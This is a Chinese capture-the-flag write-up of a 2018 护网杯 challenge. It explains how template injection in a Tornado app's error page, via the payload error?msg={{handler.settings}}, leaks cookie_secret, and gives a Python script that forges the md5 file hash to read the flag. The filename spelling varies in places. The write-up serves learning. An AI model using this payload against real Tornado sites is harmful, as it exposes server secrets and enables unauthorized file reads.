这是一道2018年护网杯的题目
/flag.txt
/welcome.txt
/hints.txt
一共有3个文件。
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
进入第一个文件flag.txt,发现好像提示文件名为/fllllllllllag,
进入第二个文件welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。
进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename)),即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filename和cookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。
观察查看文件时使用的url:
http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d
猜测md5(cookie_secret + md5(filename))的结果就是访问文件时所需要的filehash。
尝试访问/fllllllllllag,发现跳转到错误页面

页面中存在msg,尝试:

证实存在模板注入漏洞
查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

cookie_secret保存在settings中

发现self.application.settings有一个别名

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
可以构造payload获取cookie_secret
payload:error?msg={{handler.settings}}

获得cookie_secret,编写脚本,计算md5(cookie_secret + md5(filename))
import hashlib
filename = ‘/fllllllllllllag‘
cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d"
def getvalue(string):
md5 = hashlib.md5()
md5.update(string.encode(‘utf-8‘))
return md5.hexdigest()
def merge():
print(getvalue(cookie_secret + getvalue(filename)))
merge()
得到flag:

原文:https://www.cnblogs.com/chalan630/p/12609470.html